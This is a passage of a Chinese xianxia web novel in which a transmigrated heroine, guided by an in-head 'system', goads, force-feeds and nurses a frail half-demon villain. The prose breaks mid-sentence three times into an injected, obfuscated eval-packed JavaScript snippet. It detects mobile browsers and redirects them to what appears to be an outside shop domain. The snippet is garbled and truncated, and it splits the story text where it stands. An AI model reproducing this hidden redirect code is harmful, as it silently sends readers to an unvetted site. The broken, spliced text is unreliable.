她可是仙尊,万剑宗十二仙尊之一,虽然是个恶毒女配,还名声不好,谁都瞧不上她,可她好歹也是金丹期的修为。 她把斧头往地上一扔,拍了拍手上的木屑,然后掐了个诀。 灵力从丹田涌出来,顺着经脉往上窜,在指尖凝成一道月白色的光。 那光芒越来越亮,越来越盛,像一团被压缩了的小太阳,在她掌心里膨胀。 她把手往前一推,那道光从掌心里飞出去,化作一道巨大的月白色光刃,朝着松林的方向劈去。 光刃过处,风声呼啸,松针飞扬。 那道光像是长了眼睛一样,从一棵树的根部切入,又从另一棵树的根部穿出。 所过之处,松树齐刷刷地倒下,震得地面微微发颤。 枝头的鸟雀被惊起,黑压压的一片。 陆霜序拍了拍手,转过身,朝殷焕生露出一个得意的笑。 殷焕生的眼神变了。 他颓然站起身,他看着那片狼藉的松林,语气变得不善。 “你!?”他的声音拔高了,高得不像他平时的声音。 那个字从他的喉咙里冲出来,带着一股子压抑了太久的愤怒和不甘。 陆霜序被他这一声吓了一跳,下意识地往后退了一步。 “我?”她指了指自己,语气里带着几分茫然和委屈。“我不是帮你吗?你为何生气?” 殷焕生胸膛起伏得很厉害,呼吸变得急促而粗重,他的眼里萦绕着一种愤怒。 “顺着我砍的方向砍,你这样砍待回暖,山中生灵就无庇护之地。没几年,这峰就荒凉了。” 陆霜序愣住了。 这个被全世界抛弃,连自己的命都不在乎的人,居然在乎那些鸟有没有地方住,在乎这峰会不会荒凉。 他怎么会在乎山里的生灵?在乎这峰会不会荒凉? 这话骗骗别人也就算了,她可是原著读者。 事出反常必有妖,这家伙绝对在搞阴谋。 想到这,陆霜序的语气带着一种发现了他小秘密的得意。 “我这不是想早点砍完,让师兄快点回去嘛。” 陆霜序眨眨眼,希望殷焕生能明白,她不在乎他在搞什么阴谋诡计,也没有兴趣去破坏他的计谋,她只希望他能老实一点回去休息。 然后她也就能下班休息。 殷焕生看着她,看了好一会儿,最终脸上的笑容更深了些。 “那好,我回去休息。” 陆霜序十分满意,“好呀,好呀,师兄早些回去,我也回去了。” 说完,她没有丝毫犹豫,转身就要走。 殷焕生却在她身后喊住了她,“师妹,我同你一起回去吧。” 那声音从她身后飘过来,阴恻恻的,像一条蛇从草丛里滑过,无声无息的,可那鳞片摩擦脊背往上爬,一直爬到后脑勺,缠绕上她的脖颈。 陆霜序假装没听到,她的脚步不但没有停,反而更快了。 霎那间,她身旁的一棵树,没有一丝预兆地倒了下来。 那是一棵碗口粗的松树,少说也有几十年了,像是长了眼睛一样,直直朝她的方向倒了下来。 只差一点,那棵树就要砸在她的身上了。 她盯着那颗断树,树干上面的伤口,一块一块的,像一只只闭着的眼睛。 陆霜序:.... 她掐腰回头,带着被迫加班的怨恨,语气十分不满,“师兄,怎么了?” 殷焕生说,“你给我的那些东西,太多了,我带不回去,还要麻烦师妹用乾坤戒帮我带回去。” 陆霜序看了一眼那堆东西,又看了一眼殷焕生,嘴角抽了抽。 她刚才明明是怕他饿死、渴死、伤口感染死,才把那些东西掏出来的。 结果没想到好心没好报,这堆东西成了阻止她离开的理由。 殷焕生仿佛真是一位关心同门的师兄,语重心长的说,”这个地方地势迷离很容易迷路,我带你走会好些。” 陆霜序当然不会信这种鬼话,她直言不讳,“你是想把我带回你的小破屋,然后放蛇咬我吗?“ 殷焕生丝毫没有被揭穿的心虚,“怎么会?你可是我师妹。” 陆霜序一笑。 我信你个鬼 11. 我想你会喜欢我 “好,我们一起走吧。” 陆霜序没有犹豫,她弯腰捡起那堆东西,一样一样地塞进乾坤戒里。 她的动作很利落,没几下就收拾好了。 随后她直起身来,朝殷焕生露出一个笑,那笑容和刚才一样灿烂,仿佛一点也没别的事受到影响。 系统在她脑海里炸开了锅。 【宿主,这反派一看就没有好心眼,你怎么要和他走啊。】 陆霜序的语气平静得很,“那难道在这就不危险吗?” 系统也明白。 刚才那棵树倒下的轨迹,直冲着它的宿主,怎么看都不像意外。 殷焕生对这片松林的掌控,可能比想象中还可怕。 所以这里同样危险。 【可是,从殷焕生方才对你砍树的反应来看,他对这里明显还有忌惮。与其去一个未知的地方,留在这里的胜算更大。而且……宿主,你不想下班吗?】 系统感到奇怪。 它的宿主是个把“加班”当仇人一样的人,现在居然要牺牲下班时间,主动往危险里走? 这不对劲。 太不对劲了。 陆霜序站在松林里,裙摆在风中轻轻晃动。 “我是很讨厌加班,但是我的任务,我不能放着不管。既然是早晚要解决的事情,那就早解决,省的以后惹麻烦。” 系统又沉默了。 它好像明白它的宿主为什么会加班到猝死了。 不只是因为老板无良,工作强度大,压力大。 如果只是因为工作不如意,那大可以摆烂不干,可以辞职。 所以真正的原因是,它的宿主是一个有责任心的人,同时还是一个好胜心极强的人。 交到她手里的东西就要做完,而且要做到最好。 还真是天生的牛马圣体。 殷焕生对陆霜序的回答也有些意外,一般人遭到这般情景,肯定吓得早跑了,而陆霜序却像是什么都没发生一样,愿意和他走。 不过这并没有影响他的某些决定。 “好,随我来,只是寒舍便是师妹那日看到的样子。” 他走在前面带路,背对着她,让人看不清表情。 寒舍是什么样子,那自然不能遮风,不能避雨,蛇虫乱行。 陆霜序明白这人又在吓唬她,但她丝毫不在意,“没关系,既然师兄去得了,我就待得住。” 殷焕生听到这个回答,像是在荒寂的山岭看到了一朵盛开的花朵,觉得荒诞,可一切却又是实实在在发生的。 这个人和别人不一样,至少现在看来表面上不一样。 不会对半妖之身的他感到厌恶,既不会嫌弃贫困潦倒的住所,也不害怕随时要她命的未知危险。 而且不会藏着掖着,面对他的行为也总是赤裸裸地反击。 但可惜,这样的人,无论是不是装的,都和别人一样会如蝼蚁般卑微死去。 松林很大,大得走不到头。 那些笔直的松树一棵接一棵地立着,像一根一根沉默的石柱,撑起一片灰蒙蒙的天。 殷焕生砍倒的树成了一道天然的路。 树干横在地上,松针铺了满地,厚厚的一层,踩上去沙沙作响。 可殷焕生没有带着她走那条被砍出来的路。 他带着她七拐八拐,走的是一条完全不同的方向。 他的脚步不紧不慢,像是在走一条走了无数遍的路。 可这条路在陆霜序看来,完全没有规律可循。 没有路标,没有参照物,甚至连方向都分辨不清。 四周的景物看起来都一样——松树,松针,松脂的苦香,潮湿的泥土。 可殷焕生每拐一个弯,那些景物就变了一个样子,像是被人重新排列过一样。 她们越走越深,松树越来越密,树干越来越粗,树冠越来越厚,直到将头顶最后一丝天光都遮住了,四周开始昏暗下来。 空气里弥漫着腐烂的松针和潮湿的泥土的气味,浓得化不开。 寒气从脚底升起来,顺着脚踝往上爬。 地面越来越湿,一脚踩下去,能听见水花溅起的声音。 一个又一个的水坑,一个比一个深,一个比一个冷。 绣鞋被浸透了,冰凉的水渗进来,激得人一哆嗦。 殷焕生以为陆霜序要被吓得跑了,可没想到身后的人却还是跟着他。 其实陆霜序早就要坚持不住了,她裙摆已经被泥水浸湿了一大片,沉甸甸的,贴在腿上,每走一步都要费很大的力气。 【宿主,我害怕……】 系统的声音在她脑海里响起来,颤颤的。 陆霜序无语了。 “你一个人工智能怕什么?你没有身体,更没有痛觉,你怕什么?” 【我怕你被杀,血溅当场。我就没宿主了。】 陆霜序更无语了。 “你别咒我,殷焕生死一百次,都轮不到我死。” 先不说她所知道的原著内容,以及对殷焕生这个人物的了解。 就单凭她现在是金丹大圆满的修为,而殷焕生因为被原主日日夺取修为,连炼气期都不到,她就可以靠修为压制。 大不了就被发现了,她就拿修为压制,编故事圆过去也就成。 只要不让殷焕生发现她是陆霜序,那殷焕生就没办法催动她体内的东西,真正杀了她。 但走了这么久,明白是殷焕生故意折腾她,她脾气也上来,“师兄,难怪你身体这么差,每天走这样的路折腾自己,你早晚要死的。” 走在前面的殷焕生忽然出声了。 他的声音从前面飘过来,被雾气裹着,变得又湿又冷,像一条从水里捞出来的蛇,滑腻腻的,缠在人的脖子上,越收越紧。 “这条路难走,却最安全。反倒是师妹你,一般人可是上不这峰,更找不到我。” 陆霜序知道他说这话是什么意思。 作为一名刚被收入万剑宗的弟子,她的修为不过炼气,而只有金丹才能御剑。 那她就只能走路上山。 就在刚才殷焕生带路的时候,她就发现殷焕生砍得树木都是有规律,就像是在用这摘星峰的松林作为画布,用斧头画出了一个符阵。 而这最外围的符阵,是普通人绝对进不来的。 她歪着头想了一会儿,声音带着一种小女孩的天真。 “我闻得到,师兄的味道和别人不一样。” 殷焕生冷笑了一声。 不一样的味道? 当然是他这个半妖身上妖族的味道。 那个从他出生那天起就刻在骨子里的,像烙印一样的味道。 他没有回头,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477849|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音还是那样那样冷,可冷下多了一层别的东西。 像是一潭死水的表面下有什么东西在翻涌,随时随地都有可能冲出一只巨兽将人吞入口中。 “你为什么来找我?” 陆霜序看着他的背影。 其实她刚才就已经回答过这个问题了,但显然殷焕生不信。 这个人疑心重,骗过他并不容易。 而骗一个最好的办法就是真话缠着假话,这才能让人分不清,剩下就要靠这位喜欢试探人的殷焕生脑补了。 “对不起啊,师兄。我骗了你,我其实没有父母的,从小就是孤儿,不被人喜欢。她们说你也不被人喜欢,所以我想你会愿意和我在一起待着。” 她说这话的时候,语气里没有悲伤,好像真的只是一个忍受不了孤单的孩子,来寻找同病相怜的同伴。 殷焕生的脚步停了。 “真的吗?” 陆霜序语气真诚。 “当然是真的,所以师兄你好好对自己,不要死,我不想再继续一个人了。” 殷焕生没有看她,而是站在原地。 “一个遇到危险麻烦,第一时间不去求饶,而是想着如何解决的人,会需要互相取暖的同伴?” 陆霜序眨眨眼。 “一个人很孤单,我想有个可以陪着我,可以理解我的同伴,师兄,我很乖的,让我待在你身边好吗?” 殷焕生转身看着她。 昏暗的光线里,已经看不清他的轮廓,只能看到他红色的兽瞳,像是鲜血从他的眼睛里流了出来。 别人看到这样子,早就被吓得失声尖叫了。 可陆霜序不怕,她抱着胳膊无所畏惧。 殷焕生冷冷说:“我不需要同伴,我只会利用你,然后让你去死。” 陆霜序认真思考了一下,这不和她任务不一毛一样吗? 而且她还可以顺理成章待在殷焕生身旁,让这个人别把自己作死。 这是个造作空间很大,成功率很大的提案! “可以啊,我也很讨厌那群看不上我的人,就是我没有能力做些什么。如果我能帮上忙,那再好不过了。” 系统感觉自己的那号称人类最强的ai大脑蹦出了好多问号。 ??? 【宿主?你快告诉你是装的!你这是要和反派成一伙的意思吗?】 “我说说而已,这里杀人犯法的。“ 【?你的意思是如果不犯法,你就干吗?】 殷焕生并不说话,他皱起眉头。 显然聪明如他,也没想到陆霜序会说这样的话。 他说要杀她,结果她说她要帮他? 陆霜序感受到了殷焕生的迟疑,马不停蹄上前表忠心。 “是真的,我早看这个世界不顺眼,之后我就跟着你干,你以后要弄死我也没关系,先让我看着那帮讨厌的人死就行。 说着她还伸手去扯殷焕生的衣袖。 殷焕生不耐烦地把自己的袖子扯了回来,继续赶路。 陆霜序则不依不饶,继续在身后追着。 “师兄,你别走这么快,等等我啊!” 系统听完这对话,整个主机被雷的不行。 它有点无语,但看到殷焕生甚至也无语,它就又释怀了。 它的宿主好像有点疯,把反派吓到了。 12. 熬鹰 殷焕生走在前面,步子不紧不慢的,像一条在深水里游动的蛇,无声无息,却带着一股子让人说不清道不明的压迫感。 他的旧衣在夜风中微微飘动,灰扑扑的,几乎要融进周围的黑暗里去。 陆霜序跟在后面追着。 她喊他慢一点,可没有用。 他既不放慢速度,也不回应她。 渐渐地,四周越来越黑,直到把所有的光都吞没。 连脚下那些模糊的,若有若无的轮廓也不见了。 黑暗像一只巨大的手掌,将她整个握住,五指收紧,连空气都被挤压了出去。 陆霜序已经彻底看不到殷焕生的身影了。 四周的一切都丧失了呼吸力,没有风,没有虫鸣,没有松针被踩碎的沙沙声,甚至连自己的心跳声都被没了。 像是被埋进了棺材里的死寂。 恐惧从脚下的泥土开始蔓延。 陆霜序冷不禁打了个寒颤,整个人像被电击了一样,抖了一下。 她不知道殷焕生这是把她带到了哪里。 这里的黑暗没有边界,没有尽头,像一个被人遗忘了的时间缝隙。 她知道自己现在最好能找到殷焕生。 那个人能把她带进来,就一定能带出去。 她往前迈了一步,伸出双手,在黑暗中摸索着,手指触到的只有空气。 没有树干,没有树枝,没有石壁,什么都没有。 这片黑暗像是空的,又像是满的,空的让人心慌,满的让人窒息。 “系统,说句话。” 【宿主....那个...我...】 “行了,闭嘴吧。” 陆霜序本想让系统和她说话,缓解一下在这极端环境的恐惧感,但系统这怕到发颤的声音,真还不如不说。 她还在走。 但她不知道自己走了多远,也不知道自己是不是在原地打转。 方向感早就被这黑暗吞走。 “殷焕生!” 那声音撞在什么东西上,又弹回来,嗡嗡的,在耳边回荡了很久。 没有回答 她在黑暗中站了一会儿,等心跳慢慢平复下来。 恐惧还在。 可理智也在。 她不能动用修为。 她现在是“小师妹”,是个连御剑都不会的炼气期。 如果她在这里卸掉伪装,用修为强行闯出去,那她之前在殷焕生面前演的那些戏,就全都白费了。 她既然是小师妹,就要用小师妹的办法。 四周太黑,什么都看不见。 视觉被剥夺了。 太安静,什么都听不见。 听觉也被剥夺了。 可还有触觉。 她的脚踩在地上,能感觉到泥土的质地。 湿软的,松散的,冒着寒气的。 她蹲下来,伸手摸了摸地面。 泥土很软,如果用力,很轻易就能把手指插进去。 她站了起来,用脚后跟在泥土里碾了碾,碾出一个浅浅的坑。坑的边缘凸起来,高出地面一点点,刚好能被她用脚尖感觉到。 她开始用脚硬挤泥土。 每走一步,脚后跟就在地面上碾出一个坑,坑的边缘凸起来,作为她脚下的路标。 然后她顺着那些凸起的泥棱,尽量笔直地往前走。 脚尖触到前面一个路标,脚后跟再碾出一个新的路标。 她走啊,走啊,走到小腿抽筋了,还得逼着自己继续走。 陆霜序已经感到不对劲了。 在树林里走了这么久,至少应该碰到一棵树。 可她的手伸出去,左摸右摸,前摸后摸,什么都没有。 已经到了这一步,她索性闭上了眼睛。 反正睁着也看不见,闭上还能省点力气。 她伸出手臂,像盲人一样,用指尖在前面探路。 一步,两步,三步。 然后,她的手指碰到了什么。 那东西不坚硬。 不是树干,不是石头,不是任何她想象中的障碍物。 那东西甚至柔软,柔软得像是被体温捂热了的棉絮。 她的手指本能地蜷了一下,然后眼睛张开。 瞬间,那些包裹着她的黑色裂开了。 无数红色的光点在黑暗中亮了起来,密密麻麻的,像一片被点燃了的星空。 那些光点是眼睛,血红色的,圆溜溜的,转来转去,带着一种说不出的诡异和寒意。 它们看着她,一只一只像一群沉默的审判者,全部盯着她。 “嘎嘎嘎!” 那叫声毛骨悚然,像婴儿的哭声被揉碎了。 伴随着叫声,紧接着是翅膀扇动的声音。 无数双黑色的翅膀同时展开,那些乌鸦从黑暗中冲出来,扑棱棱地飞向天空。 天亮了。 陆霜序眯着眼睛,等眼睛适应了这微弱的光线,才看清了周围的景象。 她已经不在松林了。 殷焕生还在前方,他在他住的柴房面前。 他的背影在灰蒙蒙的光线下显得格外瘦削,像一根被风吹弯了的竹子,随时都会折断。 陆霜序迈开步子,朝殷焕生跑了过去。 她跑到他身边,一把抱住了他的胳膊。 那只胳膊很细,细得像一根枯枝,好像一用力就能折断。 “师兄!你看见了吗?刚才很黑,好多乌鸦!” 正这时。 一只通体乌黑的乌鸦扑扇着翅膀,从空中落下来,稳稳地落在了殷焕生的肩膀上。 那乌鸦的羽毛黑得发亮,它的爪子勾在他肩头的旧衣上。歪着头,一双血红色的眼睛盯着陆霜序,眼珠子转了转,像是在打量一个不速之客。 陆霜序看着那只死鸟,沉默了。 虽然她知道这片黑暗是殷焕生搞的鬼,知道那些乌鸦是听他使唤的,知道刚才那些毛骨悚然的叫声和铺天盖地的翅膀都是他安排的。 可亲眼看见这只死鸟,被这么赤裸裸地挑衅一下,还是让人很不爽。 她深吸了一口气,把那口怨气咽回肚子里,然后—— 她开始往殷焕生身上抹泥。 她的手还抱着他的胳膊,掌心全是刚才在黑暗里抠泥土时沾上的湿泥。 殷焕生的身体僵了一下。他低下头,看着自己衣袖上那道新鲜的泥印,眉头微微皱了起来。 他动了动胳膊,想抽出来。 陆霜序不松手。 她的手指扣得更紧了。 陆霜序声音又轻又软,带着一种刻意的撒娇味。 “师兄,让我抱会儿,我害怕。” 殷焕生的嘴角抽了抽。 很气,但没有半点办法。 陆霜序算是明白了。 殷焕生这家伙再嚣张,也挣脱不开她,不是不想,而是不能。 这家伙是脆皮法师,物理攻击和防御没有,但魔法伤害点满了。 所以真想制服这家伙,必须是近战。 “嘶嘶。” 声音从四面八方涌过来,各色颜色的蛇探出脑袋,虫群紧随其后,黑压压的一片。 陆霜序低头看了一眼,只一瞬间,她就做出了一个决定。 她微微一笑,然后跳到了殷焕生身上,双腿夹住他的腰,双臂抱住他的肩膀,四肢并用地挂在了他身上。 殷焕生的身体猛地一沉。 他本就身体不好,自己能活着就不错,哪里经得住这突如其来的负重。 他的身体一趔趄,差点带着人摔倒在地上。指节捏得咯吱作响,才勉强稳住了身形。 “下来。” 他的声音从牙缝里挤出来,像是被气的不轻。 “我害怕。”她小声说。 “咳咳咳。” 殷焕生咳嗽了几下。 他的嘴角又见血了。 系统的声音在陆霜序的脑海里响起来,颤颤巍巍的。 【宿主……你要把反派折腾死了……】 “闭嘴。我不听胆小鬼的意见。” 【可是……生命值在下降……1%……0.8%……0.5%……】 系统每报一个数字,声音就抖一下,像一个人在念一份死刑判决书。 陆霜序没有动,她还挂在殷焕生身上。 她能感觉到他的身体在发抖,那是一种力竭,透支,马上就要撑不住的抖。 她比谁都清楚殷焕生要不行了。 可她还是没有动。 两个人僵持着。 蛇虫在地上涌动,发出窸窸窣窣的声响,可就是不敢爬上殷焕生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477850|201586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体。 殷焕生的呼吸越来越重,越来越急。 一刻钟过去了。 两刻钟过去了。 最终,他妥协了。 那些蛇虫像是接收到了什么命令开始缓缓退去,四周重新安静下来,只剩下风的声。 陆霜序笑了笑,这才满腹委屈地从殷焕生身上下来。 而那笑容底下藏着的东西,只有她自己知道。 所谓熬鹰,就是比谁更狠。 鹰不肯低头,人也不肯松手。 她和殷焕生都狠。 可她最大的优势,是知道他必须要活着。 他还有仇没报,还有那些把他踩进泥里的人没有付出代价。 他不会让自己死的。 至少,在那些人死完之前,他不会。 所以,她赢了。 “师兄呀,你该好好养养身体了,怎么这么弱啊,这就不行了。” 殷焕生本来身体就到了极限,用手捂住了嘴唇,在轻轻咳嗽。 听到这话,气血攻心,直接咳出了一大口血。 陆霜序又说话了,“师兄,你别死呀!早知道你身体这么弱,我就不和你闹着玩了。” 她说话是那样,可表情有些做作,所以看起来像是阴阳怪气。 殷焕生直接被气得弯腰,恨不得把肺给咳出来。 系统有些看不下去了。 【宿主,你别忘了咱的任务,反派他不能死的,你别气他了。】 陆霜序忍住翻白眼的冲动。 谁家反派这么弱? 她一个要走剧情的恶毒女配居然还要兼顾照顾反派的任务。 “师兄,我看你身体这么不好,和你住的环境有关。你这地方不能住人啊。我帮你修修。” 陆霜序说完,也不等殷焕生回答,转身就往柴房里走。 “不准动。” 殷焕生的声音从身后追过来,沙哑的像一把生了锈的刀。 陆霜序当然当没听见。 她推开柴房的门,门轴发出刺耳的嘎吱声,像是什么东西在尖叫。她跨过门槛,走了进去。 屋子里比她上次来时更破败了。 四面墙壁上的裂缝又大了一些,风从缝里灌进来,呜呜地响,像有人在哭。 殷焕生本就身体不好,待在这种地方,只会加重他的伤势,她想一劳永逸,就必须先解决这个问题。 她借用修为开始修缮。 月白色的光芒从指尖涌出来,像一只温柔的手,轻轻拂过那些裂缝。 柴房在她的手里一点一点地变了模样。 破败的墙壁变得坚实,漏雨的屋顶变得完整。那些腐朽的气息被灵力的清风吹散了,取而代之的是一种带着阳光味道的温暖。 她顺手把柴房里的破烂家具全都扔了出去。 原主的乾坤戒不仔细看不知道,里面的东西全的不得了。 她翻出了一张新床,一张新桌子。 甚至还有一个花瓶。 她在花瓶里插了好几朵花。 花是从柴房外面的空地上采的不知名的野花,小小的,白白的。 她把花瓶放在桌子上,退后两步,歪着头看了看,又上前把花瓶往左边挪了挪,再退后两步,满意地点了点头。 这房子从鬼屋变成了一个温馨的小家。 殷焕生站在门口,额头的青筋在跳。 陆霜序当没看到。 她又从乾坤戒里拿出了柔软的被褥,蓬松柔软,抱在怀里像抱着一朵云。 她把被子铺在新床上,拉平四个角,把枕头摆在床头。 收拾好一切后,她站在屋子中央,从乾坤戒里把之前从梅香那里拿来的东西一样一样地拿出来,摆放整齐。 完事后,她转过身,语重心长地说,“师兄,一个人也要照顾好自己哦。” 殷焕生显然要被气死了,他的脸从苍白变成了铁青。 “我说了,不准动。” 陆霜序歪着头看他,脸上的表情无辜极了。 “是吗?可我刚才喊师兄,你也没听到。大概这地方容易中邪,叫人都听不清说话,” 殷焕生看着她,那双眼睛里的冷意还在。只是这次他的眼睛换了个方向,盯着她的手腕。 “这乾坤戒是师尊的,从不示人。你怎么会有?” 13. 因为我喜欢你 听到殷焕生这么说,系统先炸了锅。 【救命啊,他不会发现我们了吧?完了完了完了,这怎么办?他要是知道了你不是原主,那任务不就崩了吗?!】 陆霜序一脸淡定,丝毫没有受到系统的影响。 她的脸上甚至还挂着那个温柔的笑,不急不躁。 她不答反问道:“那日我给师尊打扫房间,扫出来了一堆碎床屑还有红绳。师尊告诉我这些都是你干的,还说以后要好好惩罚。那师兄,这又是因为什么?” 碎木屑,断红绳,还有席春丝,师尊强迫徒弟,那些难以启齿的事,普通人都说不出口,更遑论自尊心高的出奇的殷焕生。 殷焕生听到这句话,没有说话,他笑了。 他的牙齿咬得很紧,下颌线绷得像一把拉满了的弓。 他明显是被气笑了。 “你想说什么?” 陆霜序看着他,脸上的笑容没有变。 她说,“我觉得师兄你挺可怜的。” “你信不信我现在就弄死你?” 陆霜序连忙摆手,“我信,我信。要不你消消气?“她的声音拔高了,带着一股子安抚意味,像是在哄一个快要哭出来的小孩。“你这身体太弱了,你要真想弄死我,你先养好身体,对不对?” 殷焕生气得一口气没顺上来。 他的胸膛起伏得很厉害,呼吸变得急促而粗重。只有那口气,在胸腔里翻涌着,像一团被压住了的火,烧得他五脏六腑都在疼。 陆霜序继续语重心长。 “我说这话也没有别的意思。我们都有秘密,我们都身不由己。但是我们两个可以相亲相爱,互相扶持。” “相亲相爱”四个字从她嘴里蹦出来的时候,殷焕生的嘴角抽了抽。 就连系统听到这话都蒙圈了半天。 【啊?】 殷焕生感觉自己有点儿供血不足。 眼前的东西开始发花,他的太阳穴突突地跳着。 他闭了闭眼睛,只觉得头晕目眩,整个世界都在旋转。 陆霜序非常有眼力见,立刻上前扶住了他的胳膊。 她把他扶到床边,让他坐下。 床是新铺的,被褥蓬松柔软。 殷焕生坐在床沿上,身体微微往前倾着,两只手撑在膝盖上,低着头,像一株被风吹弯了的草。 陆霜序低头看着他。 他身上的衣服太破了,袖口磨出了毛边,下摆裂了好几道口子,背上打着好几个补丁,针脚歪歪扭扭的,一看就是他自己缝的。 衣服上沾满了泥巴和血污,干了的血结成黑褐色的痂,贴在布料上,像一块一块的苔藓。 她皱了皱眉。 那床被子是她刚从乾坤戒里翻出来的,她本能的不像这件沾满了泥巴和血污的旧衣和她的新被子接触。 所以她三下五除二,直接把人的外衣给扒掉了。 她把那件脏兮兮的旧衣团成一团,扔到一边。然后她扶着他的肩膀,把他往被窝里塞。 殷焕生脸色发白,他躺下来的时候就极其的不情愿,身体弓着,手掌撑在床板上,指节捏得咯吱作响。 他想要借助手臂的力量起来,肩膀用力往上抬,结果陆霜序伸出一根手指,按住了他的额头。 把他整个人按了回去。 “你!” “你看你,都已经虚弱得说不出话来了。还是赶紧休息吧。我去给你做点饭。” 她说完,转身就走。 “我一定会杀了你。” 殷焕生的声音从身后追过来。 陆霜序停下脚步,回过头来。 她丝毫没有在意,继续一副哄小孩的模样。 “我知道,我知道。我坚决地支持你。但看你这个样子,在你杀了我之前,恐怕要先自己死了。所以先好好养好身体,以杀我为目标,先好好活下去。” 她说这话的时候,语气真诚极了,所以殷焕生更气了。 这个女人不止小看他,还羞辱他。 可偏偏他现在,确实又没什么办法,他的身体的确如她所说,太虚弱,已经到极限了。 他咳了很久,终究是把眼睛闭上了。 虽然他的恨意强烈,可他的身体劳累到了极点,处在如此舒服的环境,他还是抵抗不住,睡着了。 屋外。 陆霜序站在柴房外面的空地上,从地上捡起几块石头,开始搭灶台。 系统犹犹豫豫,最终还是忍不住说话。 【宿主……我承认你很强。但是按照我带了这么多宿主的经验来说,你应该爱反派,关怀反派,不能这样对人家冷眼相待,还强制爱行为。你这样会把反派气死的。他气死了,任务就失败了。任务失败了,你就死了。】 她一边搭灶台,一边在心里回系统的话。 “请记住,你只是个负责下发命令和辅助我的,咱俩分清主次,你要听我的。我任务失败,你也失败。” 系统总觉得这句话哪里不对劲,但又想不通哪里不对劲。 【……好的哦。】 陆霜序过惯了独立自强的生活。 上辈子是孤儿,从福利院出来的孩子,没有谁会替她挡风遮雨,所以洗衣做饭样样拿手。 做项目的时候,一忙起来就是一整天,连口水都顾不上喝,等想起来的时候,胃已经疼得直不起腰了。所以她最知道在又累又饿的情况下吃些什么最好。 她熬了浓浓一大锅粥。 她把肉末撒进去,用勺子搅了搅,肉末在粥里散开,再把青菜切碎了放进去,混着蛋液一股脑扔进去。 看着营养均衡,只可惜卖相很可怕。 【宿主,你这是黑暗料理吧。】 “闭嘴,又不是你吃。” 她用勺子搅了搅锅里的粥,舀起一勺,举到眼前看了看。她满意地点了点头,吹了吹热气,尝了一口。 有点咸。 她从竹筒壶里倒了些清水进锅里,用勺子搅匀,又尝了一口。 好多了。 虽然她觉得这个样子很正常,可是在外人眼里,这和下毒似的。 【宿主,你不会把反派给毒死吧?你这厨艺,我真的很担心。万一他喝了你的粥,直接毒发身亡。】 “再说话,我就先毒死你。” 系统识趣地闭嘴了。 陆霜序盛了一碗粥,往屋里走。 殷焕生躺在床上,虽然睡着,可陆霜序一进屋里,他就立刻醒了。 他看见了陆霜序手里的粥,立刻皱起眉 “拿走,我不吃。” 陆霜序没理他。 她坐在床沿上,拿起勺子,舀了一勺粥,吹了吹,递到殷焕生嘴边。 殷焕生别过脸去。 陆霜序身体向前,把勺子往前送了送,勺沿碰到了他的嘴唇。 殷焕生的身体僵了一下。 “你为什么这么喜欢碰别人,男女授受不亲,你懂吗!” “不好意思,从小父母双亡。” 陆霜序眼见殷焕生一眼抗拒,直接用力把人按倒,然后把粥给灌了进去。 粥是温的,不烫,也不凉,刚好是能入口的温度。 殷焕生的喉咙动了一下,被迫咽了下去。 他被呛了一口,“我一定不会....咳咳咳...放过...你!” 陆霜序又舀了一勺。 “好了,好了,知道了。” 就这样,一勺,一勺,又一勺。 碗里的粥一点一点地少下去,殷焕生的脸色一点一点从白到红。 虽然是被气红的,但至少看起来像活人了。 系统在脑海里看着这一切,总觉得不对劲。 它带了这么多宿主,见过各种各样的完成任务的方式。 有的宿主对任务对象百般讨好,嘘寒问暖,端茶倒水,恨不得把心掏出来。 有的宿主对任务对象冷若冰霜,能躲多远就躲多远,绝不多说一句话。 可它从来没有见过这样的宿主,一边把反派气得半死,一边又把人照顾得无微不至。 不对劲。 太不对劲了。 尤其是它宿主一个这么厌恶加班的人,为什么照顾殷焕生的时候,表现的这么快乐!? 直到陆霜序在这里待了好几天,它才终于感觉到是哪里不对劲。 原来这就是损人利己,报复他人的感觉。 陆霜序都要把殷焕生揪起来照顾,尤其是看到人抗拒,她就兴奋。 系统看着她忙前忙后的身影,忽然明白了。 她不是在照顾殷焕生,她是在折腾殷焕生。 她乐在其中。 果然,人在折磨人的时候,是不会嫌累的。 每一次陆霜序要去强行照顾殷焕生,殷焕生总是抗拒,不愿意,但最后总是被迫屈服。 他像一个被拔了牙的老虎,张着嘴,龇着牙,可那牙已经不尖了,不利了,咬在人身上,不疼,只是痒。 他的拒绝从“我不吃”变成了“放那儿我自己吃”,从“你别碰我”到“你别碰我这么长时间”,从“我一定会杀了你”变成了沉默。 每当这个时候,系统就觉得,其实它的宿主才是反派。 殷焕生那个反派,在她面前,像个被欺负了还不敢哭的小孩。 而它的宿主,那个笑眯眯的的女人,才是真正的魔鬼。 中世纪抢小孩糖吃的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 